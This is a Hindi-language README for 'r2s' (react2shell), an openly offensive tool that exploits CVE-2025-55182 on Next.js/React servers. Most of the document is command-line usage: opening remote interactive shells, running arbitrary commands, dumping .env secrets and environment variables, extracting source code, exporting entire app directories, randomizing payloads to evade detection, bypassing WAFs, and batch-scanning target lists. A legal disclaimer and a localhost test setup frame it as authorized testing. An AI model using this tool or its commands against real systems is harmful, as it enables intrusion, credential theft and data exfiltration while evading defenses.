---

## ⚠️ कानूनी अस्वीकरण

**महत्वपूर्ण: इस टूल का उपयोग करने से पहले इसे पढ़ें**

1. **यह टूल केवल वैध सुरक्षा परीक्षण के लिए है**
   - ✅ अपने स्वयं के अनुप्रयोगों का परीक्षण करें
   - ✅ उन अनुप्रयोगों का परीक्षण करें जिनके परीक्षण के लिए आपके पास लिखित अनुमति है
   - ✅ शैक्षिक उद्देश्य और सुरक्षा अनुसंधान
   - ❌ **ऐसे सिस्टम पर कभी उपयोग न करें जो आपके स्वामित्व में नहीं हैं या जिनके परीक्षण की अनुमति आपके पास नहीं है**
   - ❌ **दुर्भावनापूर्ण उद्देश्यों के लिए कभी उपयोग न करें**

2. **इस टूल का उपयोग करके, आप सहमत हैं कि:**
   - आप इसका उपयोग केवल उन सिस्टम पर करेंगे जो आपके स्वामित्व में हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है
   - आप समझते हैं कि कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है
   - आप अपने कार्यों की पूर्ण जिम्मेदारी स्वीकार करते हैं
   - लेखक इस टूल के किसी भी दुरुपयोग के लिए जिम्मेदार नहीं हैं

3. **कानूनी परिणाम:**
   - अधिकांश देशों में कंप्यूटर सिस्टम तक अनधिकृत पहुंच एक अपराध है
   - आप पर आपराधिक आरोप, जुर्माना और कारावास हो सकता है
   - परीक्षण से पहले हमेशा लिखित अनुमति लें

4. **यह टूल बिना किसी वारंटी के "जैसा है" (AS IS) प्रदान किया गया है**

**यदि आप 18 वर्ष से कम हैं, तो इस टूल का उपयोग करने से पहले सुनिश्चित करें कि आपके पास वयस्क पर्यवेक्षण और अनुमति है।**

---

## ✨ विशेषताएँ

### मुख्य क्षमताएँ
- 🔍 **भेद्यता का पता लगाना** - जाँचें कि सर्वर CVE-2025-55182 के लिए संवेदनशील है या नहीं
- 💻 **इंटरैक्टिव शेल** - कमांड इतिहास के साथ HTTPS पर पूर्ण इंटरैक्टिव शेल सत्र
- 📁 **फ़ाइल संचालन** - निर्देशिकाएँ सूचीबद्ध करें, फ़ाइलें पढ़ें, और फ़ाइलें/संग्रह निर्यात करें
- 🔐 **गोपनीय जानकारी निकालना** - एप्लिकेशन गोपनीय जानकारी (.env फ़ाइलें, कॉन्फ़िग फ़ाइलें) पढ़ने का प्रयास करता है
- 📄 **कोड निकालना** - एप्लिकेशन स्रोत कोड पढ़ने का प्रयास करता है
- 🖥️ **सिस्टम जानकारी** - OS जानकारी, होस्टनाम, उपयोगकर्ता और पर्यावरण चर एकत्र करें

### उन्नत विशेषताएँ
- 🚀 **ऑटो-वार्मिंग पेलोड** - सर्वोत्तम परिणामों के लिए पेलोड को स्वचालित रूप से अनुकूलित करता है
- ⚡ **समानांतर निष्पादन** - एक साथ कई कमांड चलाएँ
- 🎲 **पेलोड रैंडमाइज़ेशन** - गतिशील पेलोड के साथ पहचान से बचें
- 🛠️ **एक्सप्लॉइट मॉड्यूल** - Metasploit-शैली मॉड्यूल प्रणाली (env_dump, file_search, network_scan, process_list)
- 🔄 **रीडायरेक्ट हैंडलिंग** - HTTP रीडायरेक्ट (301, 302, 303, 307, 308) को स्वचालित रूप से फ़ॉलो करता है
- 🎨 **सुंदर UI** - आसान पढ़ने के लिए रंग-कोडित आउटपुट
- 📊 **व्यापक रिपोर्टिंग** - ऑपरेशन-विशिष्ट फ़ॉर्मेटर्स के साथ JSON, HTML, TXT प्रारूपों में रिपोर्ट स्वतः सहेजें
- ⚙️ **कॉन्फ़िगरेशन प्रणाली** - इंटरैक्टिव सेटिंग्स पैनल के साथ JSON-आधारित कॉन्फ़िग
- 📦 **निर्यात कार्यक्षमता** - एकल फ़ाइलें या संपूर्ण ऐप निर्देशिकाओं को zip संग्रह के रूप में निर्यात करें
- 🔒 **WAF बायपास** - कई बायपास तकनीकें (⚠️ गारंटी नहीं - नीचे सीमाएँ देखें)

### रिपोर्टिंग और लॉगिंग
- 📝 **ऑटो-सेव रिपोर्ट** - मानव-पठनीय टाइमस्टैम्प के साथ रिपोर्ट को `~/.r2s/reports/` में स्वचालित रूप से सहेजें
- 📋 **ऑपरेशन-विशिष्ट प्रारूप** - विभिन्न ऑपरेशनों के लिए अलग-अलग रिपोर्ट प्रारूप (शेल, परीक्षण, गोपनीय जानकारी, आदि)
- 📜 **कमांड इतिहास** - `~/.r2s/history` में सहेजा गया स्थायी कमांड इतिहास
- 🔍 **ऑडिट ट्रेल** - `~/.r2s/logs/audit.log` में सभी ऑपरेशनों की विस्तृत लॉगिंग
- 🎨 **HTML रिपोर्ट** - डार्क/लाइट मोड, कॉपी बटन और कोड ब्लॉक के साथ सुंदर HTML रिपोर्ट

---

## 📦 इंस्टॉलेशन

### विकल्प 1: स्रोत से बिल्ड करें (अनुशंसित)

1. **रिपॉजिटरी क्लोन करें:**   ```bash
   git clone https://github.com/zamdevio/r2s.git
   cd r2s

---

## 🚀 त्वरित आरंभ

### बुनियादी भेद्यता परीक्षण```bash
# Test if a server is vulnerable
r2s -u http://localhost:3000 -t

# With verbose output for more details
r2s -u http://localhost:3000 -t -v

### स्थानीय रूप से परीक्षण करें

स्थानीय रूप से भेद्य ऐप चलाने के निर्देशों के लिए [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md) देखें।

---

## 📚 उपयोग उदाहरण

### त्वरित कमांड संदर्भ

**सबसे सामान्य कमांड:**
- `r2s -u URL -t` - भेद्यता के लिए परीक्षण करें (सबसे सामान्य)
- `r2s -u URL --shell` - इंटरैक्टिव शेल शुरू करें
- `r2s --targets FILE -t` - कई लक्ष्यों का बैच स्कैन करें
- `r2s -u URL --system-info` - सिस्टम जानकारी प्राप्त करें
- `r2s -u URL --secrets` - सीक्रेट पढ़ने का प्रयास करें
- `r2s -u URL --export-archive` - संपूर्ण ऐप को zip के रूप में निर्यात करें

**⚠️ याद रखें**: जब तक लक्ष्य Windows न हो, `--windows` का उपयोग न करें!

---

### मूल संचालन```bash
# Test vulnerability
r2s -u http://localhost:3000 -t

# List directory contents
r2s -u http://localhost:3000 --list-dir /app

# Read files
r2s -u http://localhost:3000 --read-file .env
r2s -u http://localhost:3000 --read-file package.json

# Get system information
r2s -u http://localhost:3000 --system-info

# Execute custom commands
r2s -u http://localhost:3000 --command "whoami"
r2s -u http://localhost:3000 --command "uname -a"

### एक्सप्लॉइट मॉड्यूल```bash
# List available modules
r2s --list-modules

# Use a module
r2s -u http://localhost:3000 --module env_dump

# Use module with options
r2s -u http://localhost:3000 --module file_search --set pattern="*.env" --set path="/app"

# Get module information
r2s --module-info env_dump

### गोपनीय जानकारी और कोड निष्कर्षण```bash
# Attempt to read application secrets
r2s -u http://localhost:3000 --secrets
# Tries: .env, .env.local, .env.production, config.json, etc.

# Attempt to read application source code
r2s -u http://localhost:3000 --code
# Tries: src/**/*.ts, src/**/*.tsx, src/**/*.js, etc.

### उन्नत विकल्प```bash
# Parallel execution (run multiple commands simultaneously)
r2s -u http://localhost:3000 --parallel 5 --command "whoami;id;uname -a"

# WAF bypass (⚠️ Not guaranteed - see limitations below)
r2s -u http://localhost:3000 -t --waf-bypass

# Auto-warm payloads (optimize payloads before execution)
r2s -u http://localhost:3000 -t --auto-warm

# Randomize payloads (evade static detection)
r2s -u http://localhost:3000 --command "whoami" --randomize

# Different header strategies
r2s -u http://localhost:3000 -t --header-strategy chrome_latest
# Options: default, chrome_latest, firefox, minimal, assetnote

# Custom timeout (0 = no timeout)
r2s -u http://localhost:3000 --command "long-running-command" --timeout 0

# Disable SSL verification
r2s -u https://target.com -t --insecure

# Rate limiting (requests per second)
r2s -u http://localhost:3000 -t --rate 2

# Delay between requests (seconds)
r2s -u http://localhost:3000 --command "whoami" --delay 1

### लॉगिंग और ऑडिट```bash
# Log all operations to specific file
r2s -u http://localhost:3000 -t --log r2s_session.log

# Create detailed audit trail (saved to ~/.r2s/logs/audit.log)
r2s -u http://localhost:3000 -t --audit

# Combine logging with batch scanning
r2s --targets targets.txt --batch -t --log batch_scan.log --audit

### रिपोर्टिंग```bash
# Reports are auto-saved to ~/.r2s/reports/ by default
# Format: {operation}_{YYYYMMDD_HHMMSS}.{json,html,txt}

# Disable auto-save
r2s -u http://localhost:3000 -t --no-report

# Save to specific location (disables auto-save)
r2s -u http://localhost:3000 -t --output /path/to/report.json

# View reports
ls ~/.r2s/reports/
cat ~/.r2s/reports/test_20251206_120000.html

### 2. सुरक्षा ऑडिट```bash
# Comprehensive security check
r2s -u http://localhost:3000 -t --waf-bypass
r2s -u http://localhost:3000 --system-info
r2s -u http://localhost:3000 --secrets
r2s -u http://localhost:3000 --code
r2s -u http://localhost:3000 --export-archive

विस्तृत निर्देशों के लिए [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md) देखें।

---

## 🏗️ आर्किटेक्चर

R2S अनुरक्षणीयता और विस्तारशीलता के लिए एक मॉड्यूलर आर्किटेक्चर का उपयोग करता है:```
react2shell/
├── main.py              # Main entry point
├── classes/             # Core classes
│   ├── detector.py     # Target detection
│   ├── executor.py     # Command execution
│   ├── modules.py      # Exploit modules system
│   ├── operations.py   # High-level operations
│   ├── payload.py      # Payload building and randomization
│   └── shell.py        # Interactive shell
├── services/            # Services
│   ├── config.py       # Configuration management (JSON)
│   ├── exporter.py     # File and archive export
│   ├── formatters.py   # Report formatters
│   ├── history.py      # Command history
│   ├── logger.py       # Logging and audit trails
│   ├── proxy.py        # Proxy management
│   └── reporter.py     # Report generation
└── utils/              # Utilities
    ├── colors.py       # Color utilities
    └── helpers.py      # Helper functions

### "कनेक्शन त्रुटि"
- जाँचें कि सर्वर चल रहा है या नहीं
- सत्यापित करें कि URL सही है
- फ़ायरवॉल सेटिंग्स जाँचें
- टाइमआउट बढ़ाने का प्रयास करें: `--timeout 30`

### "अनुरोध अवरुद्ध"```bash
# Try WAF bypass (⚠️ Not guaranteed - see WAF Bypass Limitations below)
r2s -u https://target.com -t --waf-bypass

# Try different header strategies
r2s -u https://target.com -t --header-strategy chrome_latest
r2s -u https://target.com -t --header-strategy firefox

### WAF बाईपास सीमाएँ

**⚠️ महत्वपूर्ण:** इस टूल में WAF बाईपास तकनीकों के काम करने की **गारंटी नहीं है** और उनकी कई सीमाएँ हैं:

- **सार्वभौमिक नहीं**: अलग-अलग WAF अलग-अलग पहचान विधियों का उपयोग करते हैं। जो एक के लिए काम करता है, वह दूसरे के लिए काम नहीं कर सकता।
- **स्थैतिक पहचान**: कुछ WAF स्थैतिक पैटर्न मिलान का उपयोग करते हैं जिसे बाईपास किया जा सकता है, लेकिन आधुनिक WAF व्यवहारिक विश्लेषण का उपयोग करते हैं।
- **दर सीमा**: कई WAF दर सीमा लागू करते हैं जो बार-बार के प्रयासों को रोक सकती है।
- **मशीन लर्निंग**: उन्नत WAF मशीन लर्निंग मॉडल का उपयोग करते हैं जो हमले के पैटर्न से अनुकूलन और सीखते हैं।
- **Cloudflare/AWS WAF**: एंटरप्राइज़-ग्रेड WAF (Cloudflare, AWS WAF, आदि) को बाईपास करना अत्यंत कठिन है।
- **कोई गारंटी नहीं**: बाईपास तकनीकें प्रयोगात्मक हैं और अच्छी तरह से कॉन्फ़िगर किए गए WAF के सामने विफल हो सकती हैं।

**सर्वोत्तम अभ्यास:**
- WAF बाईपास का उपयोग अंतिम विकल्प के रूप में करें
- अलग-अलग हेडर रणनीतियाँ आज़माएँ (`--header-strategy`)
- बेहतर परिणामों के लिए `--randomize` के साथ संयोजन करें
- समझें कि कुछ लक्ष्यों को बाईपास करना असंभव हो सकता है
- हमेशा उन सिस्टमों पर परीक्षण करें जिनके आप मालिक हैं या जिनके परीक्षण की अनुमति आपके पास है

### बिल्ड समस्याएँ```bash
# Make sure Python 3.7+ is installed
python3 --version

# Install dependencies
pip install -r requirements.txt

# Clean previous build artifacts
./build.sh cleanup

# Try building again
./build.sh

यह निम्नलिखित हटाएगा:
- `build/` डायरेक्टरी (PyInstaller बिल्ड फ़ाइलें)
- `dist/` डायरेक्टरी (संकलित बाइनरी)
- `__pycache__/` डायरेक्टरीज़ (Python कैश, पुनरावर्ती रूप से)
- `*.pyc` फ़ाइलें (संकलित Python बाइटकोड)
- `*.pyo` फ़ाइलें (अनुकूलित Python बाइटकोड)
- `*.spec` फ़ाइलें (PyInstaller spec फ़ाइलें)

**नोट:** यह केवल बिल्ड आर्टिफैक्ट्स हटाता है, आपका सोर्स कोड नहीं। सफाई सुरक्षित है और आगे बढ़ने से पहले पुष्टि मांगेगी।

---

## 📁 फ़ाइल संरचना```
r2s/
├── README.md                 # This file
├── LICENSE                   # MIT License
├── requirements.txt          # Python dependencies
├── build.sh                  # Build script for standalone binary
├── r2s_entry.py              # PyInstaller entry point
├── react2shell/              # Main package
│   ├── README.md            # Architecture documentation
│   ├── main.py              # Entry point
│   ├── classes/             # Core classes
│   ├── services/            # Services
│   └── utils/               # Utilities
└── nextjs/                   # Testing environment
    └── README.md            # Testing environment documentation